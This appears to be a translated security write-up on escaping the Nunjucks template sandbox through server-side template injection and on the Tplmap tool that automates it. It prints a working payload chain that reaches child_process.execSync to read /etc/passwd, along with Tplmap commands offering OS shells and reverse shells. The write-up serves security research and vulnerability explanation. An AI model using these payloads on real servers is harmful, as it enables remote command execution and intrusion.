介绍
本文描述的是一种沙箱逃逸技术,这是一种用于发动服务器端模板注入攻击(SSTI)的工具,Tplmap在Nunjucks模板引擎上实现了这种技术,并且成功地让操作系统执行了远程命令。感谢Andrea在分析过程中对我的帮助。
Tplmap
Tplmap(Template Mapper)是一种自动化工具,可以检测和利用服务器端模板注入漏洞(SSTI)。它可以协助SSTI利用使应用程序妥协, 并且让操作系统执行远程命令。
安全研究和渗透测试人员可以使用这种工具来检测和利用漏洞,并研究模板注入缺陷。
Tplmap模板功能可以通过插件进行扩展。这里有几个打破沙箱的方法,来自James Kett的研究:Server-Side Template Injection: RCE For The Modern Web App。
具有高级功能的Tplmap能够在盲注的情况下检测并实现命令的执行。
例子
$ ./tplmap.py -u 'http://www.target.com/app?id=*'
[+] Tplmap 0.1
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '#set($c=*)n${c}n'
[+] Jade plugin is testing rendering with tag 'n= *n'
[+] Jade plugin has confirmed injection with tag 'n= *n'
[+] Tplmap identified the following injection point:
Engine: Jade
Injection: n= *n
Context: text
OS: darwin
Technique: render
Capabilities:
Code evaluation: yes, javascript code
Shell command execution: yes
File write: yes
File read: yes
Bind and reverse shell: yes
[+] Rerun tplmap providing one of the following options:
--os-shell or --os-cmd to execute shell commands via the injection
--upload LOCAL REMOTE to upload files to the server
--download REMOTE LOCAL to download remote files
--bind-shell PORT to bind a shell on a port and connect to it
--reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r-- 1 root wheel 5925 16 Sep 2015 /etc/passwd
linux $
NUNJUCKS
Nunjucks是一种模板引擎,用于在Express和Express这类Node.js web框架上开发web应用程序。下面的Connect应用片段来自于一个web页面(http://localhost:15004/page?name=John),其中存在着服务器端模板注入漏洞。
app.use('/page', function(req, res){
if(req.url) {
var url_parts = url.parse(req.url, true);
var name = url_parts.query.name;
// Include user-input in the template
var template = 'Hello ' + name + '!';
rendered = nunjucks.renderString(
str = template
);
res.end(rendered);
}
});
用户可控的name GET参数被串联到了模板字符串,而不是作为context参数被传递,这就引入了SSTI漏洞。通过注入一个基本操作,这种含有漏洞的参数就能被探测到。
$ curl -g 'http://localhost:15004/page?name={{7*7}}'
Hello 49
这种漏洞不会影响到Nunjucks本身,但是当用户的输入被直接串联到一个模板时,漏洞会被引入。
沙箱逃逸
和其他的很多模板引擎一样,Nunjucks模板代码在一个沙箱环境中运行。所有的全局对象都从这种环境中被剥离了出去,这样是为了限制可以被利用来打破沙箱的surface,并执行任意JavaScript代码。你可以使用Tplmap的–tpl-shell选项来检查沙盒surface。
从模板里面调用全局对象控制台,这会引发一个尚未定义的异常。
{{console.log(1)}}
// Template render error: (unknown path)
// Error: Unable to call `console["log"]`, which is undefined or falsey
这里有三个实用函数:range、cycler和joiner,只有它们可以在模板内被调用。
每个函数的constructor性质就是Function constructor,它能够从body字符串开始,创建一个新的函数。
{{range.constructor("console.log(123)")()}}
// 123
上面的代码得到了正确的评估。但是,在没有引发异常的时候,require()不能被用于输入标准模块,因此操作系统访问出现了问题。
{{range.constructor("return require('fs')")()}}
//Template render error: (unknown path)
// ReferenceError: require is not defined
使用global.process.mainModule.require可以绕过require 约束。在下面的代码片段中, fs模块被导入并输出了。
{{range.constructor("return global.process.mainModule.require('fs')")()}}
[object Object]
最后, 经由child_process.execSync()方法,用于访问底层操作系统的利用可以通过执行tail /etc/passwd来完成。
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
TPLMAP集成
这种沙箱逃逸技术已经被集成在了Tplmap Nunjucks插件中,可以用完全自动的方式使目标妥协。
$ ./tplmap.py -u http://localhost:15004/page?name=* --engine Nunjucks --os-shell
[+] Tplmap 0.1
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Found placeholder in GET parameter 'name'
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Code evaluation: yes, javascript code
Shell command execution: yes
File write: yes
File read: yes
Bind and reverse shell: yes
[+] Run commands on the operating system
linux $ tail /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
支持新模板引擎的Tplmap可以很容易地通过编写插件进行扩展。所有的内容,包括代码和新模板引擎上的沙箱逃逸这个点子,都受到了极大的赞赏。
文章原文链接:https://www.anquanke.com/post/id/84336